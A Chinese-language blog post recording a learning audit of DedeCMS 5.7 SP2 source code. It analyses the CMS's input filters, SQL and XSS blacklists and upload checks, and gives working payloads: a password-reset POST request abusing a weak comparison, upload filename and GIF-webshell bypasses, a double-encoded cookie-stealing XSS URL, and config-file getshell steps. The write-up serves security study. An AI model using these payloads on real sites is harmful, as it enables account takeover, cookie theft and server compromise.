Dedecms SP2前后台审计学习

Octopus Lv3

前言

代码审计还是急不来,不细细品味和沉淀根本学不到点,开始第三场 PHP 审计学习

全局分析

版本:5.7 SP2
项目结构

1
2
3
4
5
6
7
8
9
10
11
/install     安装程序目录,安装完后可删除[安装时必须有可写入权限]
/dede 默认后台管理目录(可任意改名)
/include 类库文件目录
/plus 附助程序目录
/member 会员目录
/images 系统默认模板图片存放目录
/uploads 默认上传目录(必须可写入)
/a 默认HTML文件存放目录(必须可写入)
/templets 系统默认内核模板目录
/data 系统缓存或其它可写入数据存放目录(必须可写入)
/special 专题目录(生成一次专题后可以删除special/index.php,必须可写入)

主要关注四点,路由机制、全局过滤、文件上传、数据库层,模板引擎可能会产生 SSTI,但暂不理会
先看主页代码,data/common.inc.php 是数据库配置文件,如果不存在则直接进入安装页面

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
#dedecms/index.php
if(!file_exists(dirname(__FILE__).'/data/common.inc.php'))
{
header('Location:install/index.php');
//跳转到安装目录主页
exit();
}
//自动生成HTML版
if(isset($_GET['upcache']) || !file_exists('index.html'))
{
require_once (dirname(__FILE__) . "/include/common.inc.php");
//包含程序初始化文件
...
if ($row['showmod'] == 1){} else {}
}
else{
header('HTTP/1.1 301 Moved Permanently');
header('Location:index.html');}
?>

往下生成模板,引用了 include/common.inc.php,我们跟进
这类库文件一般用做程序的初始化,开头做一些系统环境变量和路径定义

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
define('DEDE_ENVIRONMENT', 'production');
//设置环境为生产环境,并根据环境设置错误报告级别
if ( DEDE_ENVIRONMENT == 'production' )
{
error_reporting(E_ALL || ~E_NOTICE);
} else {
error_reporting(E_ALL);
}
define('DEDEINC', str_replace("\\", '/', dirname(__FILE__) ) );
define();*7
// 定义目录路径常量
define('DEBUG_LEVEL', FALSE);
// 调试开关
if (version_compare(PHP_VERSION, '5.3.0', '<')) // 解决PHP 5.3以下版本的兼容问题
{}

if (version_compare(PHP_VERSION, '5.4.0', '>='))
//兼容PHP 5.4及以上版本的会话函数
{
if (!function_exists('session_register'))
{
function session_register(){}
function session_is_registered($key){}
function session_unregister($key){}
}
}
if(function_exists('mb_substr')) $cfg_is_mb = TRUE;
if(function_exists('iconv_substr')) $cfg_is_iconv = TRUE;

然后对外部传参做检测和注册变量,这段检测过滤可以深入分析一下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
function _RunMagicQuotes(&$svar)
{
if(!get_magic_quotes_gpc())
{
if( is_array($svar) ){} else {$svar = addslashes($svar);}
//过滤区
}
return $svar;
}
if (!defined('DEDEREQUEST'))
{
//检查和注册外部提交的变量
function CheckRequest(&$val) {
if (is_array($val)) {
} else
{if( strlen($val)>0 && preg_match('#^(cfg_|GLOBALS|_GET|_POST|_COOKIE|_SESSION)#',$val) ){
}
}
//黑名单过滤关键词
}
CheckRequest($_REQUEST);
CheckRequest($_COOKIE);
//对全局变量 REQUEST/COOKIE 进行初步过滤

foreach(Array('_GET','_POST','_COOKIE') as $_request)
{foreach($$_request as $_k => $_v){}}
//对全局变量 GET/POST/COOKIE 进行过滤和转义
}

include/common.inc.php#_RunMagicQuotes 方法实现了一个 foreach 循环,确认数组内每个值都不匹配 cfg_、GLOBALS 等关键词,应当是为了防止变量污染,同时使用 addslashes 转义值

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
function _RunMagicQuotes(&$svar)
{
if(!get_magic_quotes_gpc())
{
if( is_array($svar) )
{
foreach($svar as $_k => $_v) $svar[$_k] = _RunMagicQuotes($_v);
//依次取出外部输入数组中的每个值,循环迭代再传入本方法中
}
else
{
if( strlen($svar)>0 && preg_match('#^(cfg_|GLOBALS|_GET|_POST|_COOKIE|_SESSION)#',$svar) )
{
//黑名单校验
exit('Request var not allow!');
}
$svar = addslashes($svar);
//再进行转义
}
}
return $svar;
}

include/common.inc.php#CheckRequest 也是在递归检测关键词,避免出现非法变量名

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
function CheckRequest(&$val) {
if (is_array($val)) {
foreach ($val as $_k=>$_v) {
if($_k == 'nvarname') continue;
// 如果键名为nvarname就不校验
CheckRequest($_k);
CheckRequest($val[$_k]);
}
} else
{
if( strlen($val)>0 && preg_match('#^(cfg_|GLOBALS|_GET|_POST|_COOKIE|_SESSION)#',$val) )
{
//黑名单校验
exit('Request var not allow!');
}
}
}

虽然这里过滤范围仅为 GET/POST/COOKIE/REQUEST,但在后续调试中果然发现 $_SERVER 也是有被处理的,下图为获取 IP 的功能方法 include/helpers/util.helper.php#GetIP

继续往下就是定义一些配置文件、功能路径、设定缓存等等,程序初始化的工作不细看了
这里 dedecms也说自己是 MVC 框架 A.A

include/dedesqlite.class.php 是 dedecms 的核心数据库类,主要关注 SQL 语句过滤部分,一个轻量级WAF

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
if (!function_exists('CheckSql'))
{
function CheckSql($db_string,$querytype='select')
{
//如果是普通查询语句,直接过滤一些特殊语法
if($querytype=='select')
{
$notallow1 = "[^0-9a-z@\._-]{1,}(union|sleep|benchmark|load_file|outfile)[^0-9a-z@\.-]{1,}";

//$notallow2 = "--|/\*";
if(preg_match("/".$notallow1."/i", $db_string))
{
fputs(fopen($log_file,'a+'),"$userIP||$getUrl||$db_string||SelectBreak\r\n");
exit("<font size='5' color='red'>Safe Alert: Request Error step 1 !</font>");
}
}

//完整的SQL检查
while (TRUE)
{
...
$clean .= substr($db_string, $old_pos);
$clean = trim(strtolower(preg_replace(array('~\s+~s' ), array(' '), $clean)));

//黑名单校验
if (strpos($clean, '@') !== FALSE OR strpos($clean,'char(')!== FALSE OR strpos($clean,'"')!== FALSE
OR strpos($clean,'$s$$s$')!== FALSE){}
//老版本的Mysql并不支持union,常用的程序里也不使用union,但是一些黑客使用它,所以检查它
if (strpos($clean, 'union') !== FALSE && preg_match('~(^|[^a-z])union($|[^[a-z])~s', $clean) != 0){}
//发布版本的程序可能比较少包括--,#这样的注释,但是黑客经常使用它们
elseif (strpos($clean, '/*') > 2 || strpos($clean, '--') !== FALSE || strpos($clean, '#') !== FALSE){}
//这些函数不会被使用,但是黑客会用它来操作文件,down掉数据库
elseif (strpos($clean, 'sleep') !== FALSE && preg_match('~(^|[^a-z])sleep($|[^[a-z])~s', $clean) != 0){}
elseif (strpos($clean, 'benchmark') !== FALSE && preg_match('~(^|[^a-z])benchmark($|[^[a-z])~s', $clean) != 0){}
elseif (strpos($clean, 'load_file') !== FALSE && preg_match('~(^|[^a-z])load_file($|[^[a-z])~s', $clean) != 0){}
elseif (strpos($clean, 'into outfile') !== FALSE && preg_match('~(^|[^a-z])into\s+outfile($|[^[a-z])~s', $clean) != 0){}
//老版本的MYSQL不支持子查询,我们的程序里可能也用得少,但是黑客可以使用它来查询数据库敏感信息
elseif (preg_match('~\([^)]*?select~s', $clean) != 0){}
if (!empty($fail)){}
else{}
}
}

关键词黑名单,如果在黑名单内则写入日志记录中,停止程序并返回 Safe Alert

1
2
3
4
5
6
7
$notallow1 = "[^0-9a-z@\._-]{1,}(union|sleep|benchmark|load_file|outfile)[^0-9a-z@\.-]{1,}";

if(preg_match("/".$notallow1."/i", $db_string))
{
fputs(fopen($log_file,'a+'),"$userIP||$getUrl||$db_string||SelectBreak\r\n");
exit("<font size='5' color='red'>Safe Alert: Request Error step 1 !</font>");
}

往下再进行一次关键词过滤,主要包括单引号、union、/*、sleep 等

接下来看文件上传机制,include/uploadsafe.inc.php,这是一个安全过滤文件
先定义一串黑名单

1
$cfg_not_allowall = "php|pl|cgi|asp|aspx|jsp|php3|shtm|shtml";

如果上传使用的是 ckeditor 编辑器,则将 $_FILES[‘upload’] 变量名复制为 $_FILES[‘imgfile’],并且删除被复制的文件上传变量

1
2
3
4
5
6
if ($GLOBALS['cfg_html_editor']=='ckeditor' && isset($_FILES['upload']))
{
$_FILES['imgfile'] = $_FILES['upload'];
$CKUpload = TRUE;
unset($_FILES['upload']);
}

检查字段名是否以 cfg_GLOBALS 开头,如果是则终止程序;
如果字段 name 没被定义,即 name 无值,并且后缀名与黑名单列表匹配上了,或 name 压根没有点,即无后缀名,则进入 if 函数体内。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
if( preg_match('#^(cfg_|GLOBALS)#', $_key) )
{
//黑名单校验
exit('Request var not allow for uploadsafe!');
}
$$_key = $_FILES[$_key]['tmp_name'];
${$_key.'_name'} = $_FILES[$_key]['name'];
${$_key.'_type'} = $_FILES[$_key]['type'] = preg_replace('#[^0-9a-z\./]#i', '', $_FILES[$_key]['type']);
${$_key.'_size'} = $_FILES[$_key]['size'] = preg_replace('#[^0-9]#','',$_FILES[$_key]['size']);
if(!empty(${$_key.'_name'}) && (preg_match("#\.(".$cfg_not_allowall.")$#i",${$_key.'_name'}) || !preg_match("#\.#", ${$_key.'_name'})) )
{
if(!defined('DEDEADMIN'))
//DEDEADMIN 常量在 dede/config.php 下被定义,这大约是一个后台配置文件,用于初始化配置、用户登录校验、XSS 过滤、缓存管理等。所以如果是后台管理上传文件,则不用受黑名单限制,如果是前台上传,检测到直接终止程序
{
exit('Not Admin Upload filetype not allow !');
}
}

这里都是使用黑名单校验,且黑名单不齐全,如 phtml 等后缀名,或非法绕过方式 p*hp 这类就没做到匹配,过滤机制较弱
最后白名单文件类型校验,判断是否是图片,同时还使用 getimagesize读取图片大小进行双重校验,如果没大小即 False,则终止

运行机制与路由方面,dedecms 显然是一个多入口的框架,即通过直接访问对应 php 文件来调用服务,核心业务区应该就是 member、dede,即会员管理和后台管理

源码审计

会员任意密码重置

漏洞点在前台重置密码 member/resetpassword.php
程序设计上分为三个阶段,分别用 if-elseif 隔开

  1. getpwd:选择验证方式(邮箱/安全问题)
  2. safequestion:安全问题验证
  3. getpasswd:密码修改
    第一块 getpwd 判定是验证码找回还是问题校验,验证码直接发送,问题校验跳转进第二块 safequestion,如果 safequestion 问题校验正确则进入第三块 getpasswd 修改密码
    1
    2
    3
    4
    5
    6
    elseif($dopost == "getpwd")
    {}
    else if($dopost == "safequestion")
    {}
    else if($dopost == "getpasswd")
    {//修改密码}
    逐一分析逻辑,先说 getpwd,它先验证输入验证码是否正确,判断外部传参 mail、userid 是否为空,再检查 mail 和 userid 格式是否非法,member/inc/inc_pwd_functions.php#member 类方法还通过 mail 和 userid 双重属性检测来判断用户是否存在
1
2
3
4
5
6
7
8
9
10
11
12
elseif($dopost == "getpwd")
{
if(!isset($vdcode)) $vdcode = '';
$svali = GetCkVdValue();
if(strtolower($vdcode) != $svali || $svali==''){}
//校验验证码是否正确

if(empty($mail) && empty($userid)){}
else if (!preg_match("#(.*)@(.*)\.(.*)#", $mail)){}
else if (CheckUserID($userid, '', false) != 'ok'){}
//验证邮箱,用户名,如果不正确则终止程序
$member = member($mail, $userid);

如果 type == 1 则直接进 member/inc/inc_pwd_functions.php#sn 发送验证码,为 2 则渲染 templets/resetpassword3.htm 回前端,即 getpwd -> safequestion

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
if($type == 1)
{
if($cfg_sendmail_bysmtp == "Y")
{ sn($member['mid'],$userid,$member['email']);
}else{}
//判断系统邮件服务是否开启
//邮件服务暂未开启退出程序

} else if ($type == 2)
{
//以安全问题取回密码
if($member['safequestion'] == 0){}
//为0则表明没设置安全问题,终止程序
require_once(dirname(__FILE__)."/templets/resetpassword3.htm");
}
exit();

跟进 #sn,传入指定的 mid、userid、mail 来发送邮件,如果十分钟内发送过一次,则重定向至登录页面,否则 member/inc/inc_pwd_functions.php#newmail 发送邮件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
function sn($mid,$userid,$mailto, $send = 'Y')
{
global $db;
$tptim= (60*10);
$dtime = time();
$sql = "SELECT * FROM #@__pwd_tmp WHERE mid = '$mid'";
$row = $db->GetOne($sql);
if(!is_array($row))
{
//发送新邮件;
newmail($mid,$userid,$mailto,'INSERT',$send);
}
//10分钟后可以再次发送新验证码;
elseif($dtime - $tptim > $row['mailtime'])
{
newmail($mid,$userid,$mailto,'UPDATE',$send);
}
//重新发送新的验证码确认邮件;
else
{
return ShowMsg('对不起,请10分钟后再重新申请', 'login.php');
}
}

继续进 #newmail,如果 send 为 Y 直接发送邮件,如果为 N 则跳转到修改页, #sn 是控制 1-3 块跳转逻辑的关键函数,同时也是漏洞的关键点

getpwd 内通过 member 邮箱用户名一起检验,没有可利用点,但发现能够直接未授权进到 safequestion,而不用进行初始选择,外部传参都可控,传入 id 再通过 id 查出来的 sql 信息交给 #sn做验证码操作,根本不受不知道用户名密码的影响,主要是 safequestion 逻辑存在漏洞
用户创建时如果没设置安全问题,那在数据库中存储的字段就为空,为空程序就赋值为 “”,这就是得双等于弱比较能够被绕过,任何没设置安全问题的账号都存在这个风险

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
else if($dopost == "safequestion")
{
$mid = preg_replace("#[^0-9]#", "", $id);
$sql = "SELECT safequestion,safeanswer,userid,email FROM #@__member WHERE mid = '$mid'";
$row = $db->GetOne($sql);
if(empty($safequestion)) $safequestion = '';
if(empty($safeanswer)) $safeanswer = '';
if($row['safequestion'] == $safequestion && $row['safeanswer'] == $safeanswer)
//这里存在弱等于直接绕过
{
sn($mid, $row['userid'], $row['email'], 'N');
exit();
}
else
{
ShowMsg("对不起,您的安全问题或答案回答错误","-1");
exit();
}
}

然后跳转 sn,再跳转 newmail,它会生成一串随机数并进行 md5 加密,在该 dedecms 中叫临时密码,然后存入 dede_pwd_tmp表中,最后将 id 及临时密码作为 url 返回

最后在 getpasswd 修改密码中,比较外部传入的临时密码加密后是否与临时密码表中存储的一致,一致则随意修改密码

总结利用链:
对未设置安全问题的账户,通过弱比较绕过验证,通过验证后调用 sn() -> newmail() 生成重置链接,最后直接重置密码。漏洞影响大,我们可以重置任意未设置安全问题的用户,包括管理员,通过枚举 mid,能够批量重置用户密码

1
2
3
4
5
6
POST /member/resetpassword.php HTTP/1.1
Host: 192.168.43.169:8089
Content-Type: application/x-www-form-urlencoded
Content-Length: 0

dopost=safequestion&id=1&userid=test1&safequestion=00&safeanswer=0&vdcode=embh&type=2

直接重置管理员密码,成功

当然重置 dede_member 表的 admin 用户只是占位,防止用户非法注册管理员用户名,并不能登录管理员账号,但能登录普通会员账号
漏洞修复:
getpwd -> safequestion -> getpasswd 没有会话传递机制,能够未授权直接调用后俩个是很直观的问题,会话传递不好写,但是这个洞堵住这个弱比较绕过就不存在了

1
2
3
4
5
if($row['safequestion'] == $safequestion && $row['safeanswer'] == $safeanswer)  
{
sn($mid, $row['userid'], $row['email'], 'N');
exit();
}

修复为

前台文件上传

在文章、商品、分类信息等文章发布处,存在文件上传接口服务

定位源码位置 include/dialog/select_images_post.php,在文件初始化时依次会执行 include/dialog/config.php -> include/common.inc.php -> include/uploadsafe.inc.php,对上传的 $FILES 进行全局过滤,过滤在全局分析中有分析过,做了一个黑名单过滤和文件类型校验

业务代码也做了一层过滤,首先是将文件名中 \r\n\*\%等字符删除;然后进行正则匹配,这里匹配 .jpg、.gif、.png,如果文件名中存在则直接放行,还有文件类型校验,使用 array 数组比较的方式校验

再往下,就设置服务端文件名直接上传文件了,可以看到这里文件名是随机的,文件后缀名是取最后一个 . 后面的,比如上传 .jpg.php,这里直接就取.php了。
上传一个 .jpg.php,上传到服务器的就是 $filename.php

假如上传一个 1.jpg.p%hp,在最开始初始化文件 include/uploadsafe.inc.php 执行时,会绕过黑名单过滤,不与黑名单内字符匹配;然后在业务代码执行时,先将特殊字符删去,即变为 1.jpg.php;文件类型比较直接 MIMI 绕过,程序会将最后一个 . 后的后缀与生成的随机文件名拼接,如 xxx.php,最后写入服务端中

查看上传目录,成功上传了,接下来要解决上传路径的问题,根据代码,上传后经过一段 SQL 更新后会直接将文件结果返回出来的,框框处将 $fiileurl 拼接并通过 exit 结束程序并返回拼接内容

但是这里并没有返回,仅仅一个 200 的请求头,调试检查哪里出了问题

这是两个公共功能函数,ImageResize 检查图片大小,WaterImg 写入图片水印。一路追踪函数,include/helpers/image.helper.php#WaterImg -> include/image.class.php#watermark -> include/image.class.php#watermark_gd,最终在 235 行直接断了,程序直接终止,这里技术有限,由于 PHP 内置函数是 C 写好封装的,没法再深入调试,只能推断一下:
当我上传完整 JPG 图片并绕过写入 PHP 时走到这个位置,$imageheight、$imagewidth均为 150,完全没问题会继续执行下一行;上传仅有 PHP 代码时,同样在这个位置 $imageheight:3387、$imagewidth:15370断了,可能是服务器配置的内存不足?导致这里出错

include/image.class.php 在 192 行进入这层 IF,才会执行 imagecreatetruecolor,干脆直接不让他进入这层,跳过水印步骤

include/helpers/image.helper.php 实例化了 image

当上传的是 GIF 图片马时,内容中会带有 NETSCAPE2.0,此时 animategif 为 1,即可跳过 watermark_gd 的 if

这里 GIF 图片不能过大,不然也会无回显

PS. 当我尝试通过 JPG 上传时同样也出了问题…写入的内容被服务端经过了不知名操作,变成了乱码,所以只成功了 GIF 格式上传 GetShell

后台反射型XSS

后台登录检测,先进行验证码检验,如果不正确则执行 ShowMsg

include/common.func.php#ShowMsg 将跳转 <a href=''></a>拼接并返回给前端

前端经过渲染最后达到以下跳转的效果,默认会直接跳转,如果没跳转点击可以触发 <a herf=''>

在登录成功的代码中,发现跳转参数 $gotopage,通过全局查找并没有发现该参数被定义,dedecms 参数并不直接在业务代码中使用 $_GET、$_POST接收,而是在公共文件中初始化时便注册,这有可能就是一个外部传参可控变量

手动追踪数据流,去看看前端模板 html 中怎么定义 $gotopage,找到模板位置

在前端后台主页模板中发现这是一个隐藏字段,是可控的,但被 RemoveXSS 过滤了

RemoveXSS微型WAF组件 Bypass
include/helpers/filter.helper.php#RemoveXSS 是一个针对 XSS 的输入过滤函数

全部代码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
if ( ! function_exists('RemoveXSS'))
{
function RemoveXSS($val) {
$val = preg_replace('/([\x00-\x08,\x0b-\x0c,\x0e-\x19])/', '', $val);
$search = 'abcdefghijklmnopqrstuvwxyz';
$search .= 'ABCDEFGHIJKLMNOPQRSTUVWXYZ';
$search .= '1234567890!@#$%^&*()';
$search .= '~`";:?+/={}[]-_|\'\\';
for ($i = 0; $i < strlen($search); $i++) {
$val = preg_replace('/(&#[xX]0{0,8}'.dechex(ord($search[$i])).';?)/i', $search[$i], $val); // with a ;
$val = preg_replace('/(&#0{0,8}'.ord($search[$i]).';?)/', $search[$i], $val); // with a ;
}

$ra1 = array('javascript', 'vbscript', 'expression', 'applet', 'meta', 'xml', 'blink', 'link', 'style', 'script', 'embed', 'object', 'iframe', 'frame', 'frameset', 'ilayer', 'layer', 'bgsound', 'title', 'base');
$ra2 = array('onabort', 'onactivate', 'onafterprint', 'onafterupdate', 'onbeforeactivate', 'onbeforecopy', 'onbeforecut', 'onbeforedeactivate', 'onbeforeeditfocus', 'onbeforepaste', 'onbeforeprint', 'onbeforeunload', 'onbeforeupdate', 'onblur', 'onbounce', 'oncellchange', 'onchange', 'onclick', 'oncontextmenu', 'oncontrolselect', 'oncopy', 'oncut', 'ondataavailable', 'ondatasetchanged', 'ondatasetcomplete', 'ondblclick', 'ondeactivate', 'ondrag', 'ondragend', 'ondragenter', 'ondragleave', 'ondragover', 'ondragstart', 'ondrop', 'onerror', 'onerrorupdate', 'onfilterchange', 'onfinish', 'onfocus', 'onfocusin', 'onfocusout', 'onhelp', 'onkeydown', 'onkeypress', 'onkeyup', 'onlayoutcomplete', 'onload', 'onlosecapture', 'onmousedown', 'onmouseenter', 'onmouseleave', 'onmousemove', 'onmouseout', 'onmouseover', 'onmouseup', 'onmousewheel', 'onmove', 'onmoveend', 'onmovestart', 'onpaste', 'onpropertychange', 'onreadystatechange', 'onreset', 'onresize', 'onresizeend', 'onresizestart', 'onrowenter', 'onrowexit', 'onrowsdelete', 'onrowsinserted', 'onscroll', 'onselect', 'onselectionchange', 'onselectstart', 'onstart', 'onstop', 'onsubmit', 'onunload');
$ra = array_merge($ra1, $ra2);

$found = true;
while ($found == true) {
$val_before = $val;
for ($i = 0; $i < sizeof($ra); $i++) {
$pattern = '/';
for ($j = 0; $j < strlen($ra[$i]); $j++) {
if ($j > 0) {
$pattern .= '(';
$pattern .= '(&#[xX]0{0,8}([9ab]);)';
$pattern .= '|';
$pattern .= '|(&#0{0,8}([9|10|13]);)';
$pattern .= ')*';
}
$pattern .= $ra[$i][$j];
}
$pattern .= '/i';
$replacement = substr($ra[$i], 0, 2).'<x>'.substr($ra[$i], 2);
$val = preg_replace($pattern, $replacement, $val);
if ($val_before == $val) {
$found = false;
}
}
}
return $val;
}
}

先对内容进行一次清理,删除除 \t \n \r 外控制符,然后解码十六进制、十进制 HTML 实体编码

1
2
3
4
5
6
7
8
9
$val = preg_replace('/([\x00-\x08,\x0b-\x0c,\x0e-\x19])/', '', $val);
$search = 'abcdefghijklmnopqrstuvwxyz';
$search .= 'ABCDEFGHIJKLMNOPQRSTUVWXYZ';
$search .= '1234567890!@#$%^&*()';
$search .= '~`";:?+/={}[]-_|\'\\';
for ($i = 0; $i < strlen($search); $i++) {
$val = preg_replace('/(&#[xX]0{0,8}'.dechex(ord($search[$i])).';?)/i', $search[$i], $val); // with a ;
$val = preg_replace('/(&#0{0,8}'.ord($search[$i]).';?)/', $search[$i], $val); // with a ;
}

黑名单过滤,写了一个正则模式,就是给 javascript这类字符每个之间都插入匹配,防止使用恶意字符绕过,假如匹配到,则会将 javascript替换为类似 ja<x>vasc<x>ript

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
$ra1 = array('javascript', 'vbscript', 'expression', 'applet', 'meta', 'xml', 'blink', 'link', 'style', 'script', 'embed', 'object', 'iframe', 'frame', 'frameset', 'ilayer', 'layer', 'bgsound', 'title', 'base');
$ra2 = array('onabort', 'onactivate', 'onafterprint', 'onafterupdate', 'onbeforeactivate', 'onbeforecopy', 'onbeforecut', 'onbeforedeactivate', 'onbeforeeditfocus', 'onbeforepaste', 'onbeforeprint', 'onbeforeunload', 'onbeforeupdate', 'onblur', 'onbounce', 'oncellchange', 'onchange', 'onclick', 'oncontextmenu', 'oncontrolselect', 'oncopy', 'oncut', 'ondataavailable', 'ondatasetchanged', 'ondatasetcomplete', 'ondblclick', 'ondeactivate', 'ondrag', 'ondragend', 'ondragenter', 'ondragleave', 'ondragover', 'ondragstart', 'ondrop', 'onerror', 'onerrorupdate', 'onfilterchange', 'onfinish', 'onfocus', 'onfocusin', 'onfocusout', 'onhelp', 'onkeydown', 'onkeypress', 'onkeyup', 'onlayoutcomplete', 'onload', 'onlosecapture', 'onmousedown', 'onmouseenter', 'onmouseleave', 'onmousemove', 'onmouseout', 'onmouseover', 'onmouseup', 'onmousewheel', 'onmove', 'onmoveend', 'onmovestart', 'onpaste', 'onpropertychange', 'onreadystatechange', 'onreset', 'onresize', 'onresizeend', 'onresizestart', 'onrowenter', 'onrowexit', 'onrowsdelete', 'onrowsinserted', 'onscroll', 'onselect', 'onselectionchange', 'onselectstart', 'onstart', 'onstop', 'onsubmit', 'onunload');
$ra = array_merge($ra1, $ra2);

$found = true;
while ($found == true) {
$val_before = $val;
for ($i = 0; $i < sizeof($ra); $i++) {
$pattern = '/';
for ($j = 0; $j < strlen($ra[$i]); $j++) {
if ($j > 0) {
$pattern .= '(';
$pattern .= '(&#[xX]0{0,8}([9ab]);)';
$pattern .= '|';
$pattern .= '|(&#0{0,8}([9|10|13]);)';
$pattern .= ')*';
}
$pattern .= $ra[$i][$j];
}
$pattern .= '/i';
$replacement = substr($ra[$i], 0, 2).'<x>'.substr($ra[$i], 2);
$val = preg_replace($pattern, $replacement, $val);
if ($val_before == $val) {
$found = false;
}
}
}
return $val;

这里结合前端浏览器特性,是存在绕过可能的,如果我们输入的是一个 HTML 编码的值,会自动被解码一次并渲染回显来,这并不会导致前端触发 XSS,不然很多 XSS 都可以直接通杀,但假如该值被作为一个参数传到后端,浏览器默认会将解码后的值发送过去,而这里刚好吻合了所有条件
我们传入二次 HTML 编码加 URL 编码后的 Payload,经过一次 URL 编码和 HTML 编码,并没有被还原回初始 Payload,绕过黑名单过滤,再接着被浏览器经过一次 HTML 解码后作为外部传参给

1
/dede/login.php?gotopage=javascrip%26%2338%3B%26%2335%3B%26%2349%3B%26%2349%3B%26%2354%3B%26%2359%3B:alert(document.cookie);

登录后点击跳转

后台文件上传

在后台核心 -> 文件式管理器存在文件上传接口,由于缺少权限限制,后台权限过大导致直接可以上传任意文件

经过前面的审计,已经很熟悉 uploadsafe.inc.php 过滤中虽然有黑名单,但是如果是 defined('DEDEADMIN')即进入后台之后,就放行

除此之外没有任何过滤点一路直通 move_uploaded_file,随便上传

后台系统设置getshell

DedeCMS 后台配置通过 config.cache.inc.php 控制

这是一个定义变量的文件,程序在运行时再读取这些变量

程序在修改配置文件内容时,只有公共文件 common.inc.php 做了一个 addslashes 转义,没有其他过滤,会分辨 $row['type']是否为 number,是则不加引号,我们只要找类型为数字的写入一句话木马即可 GetShell

PS. 尽管每个漏洞技术点都不深,但是真的去独立审计的话还是有困难,看那些业务逻辑都眼花缭乱

  • 标题: Dedecms SP2前后台审计学习
  • 作者: Octopus
  • 创建于 : 2025-06-21 17:43:17
  • 更新于 : 2025-07-30 20:42:41
  • 链接: https://redefine.ohevan.com/2025/06/21/PHP代码审计-Dedecms/
  • 版权声明: 本文章采用 CC BY-NC-SA 4.0 进行许可。
评论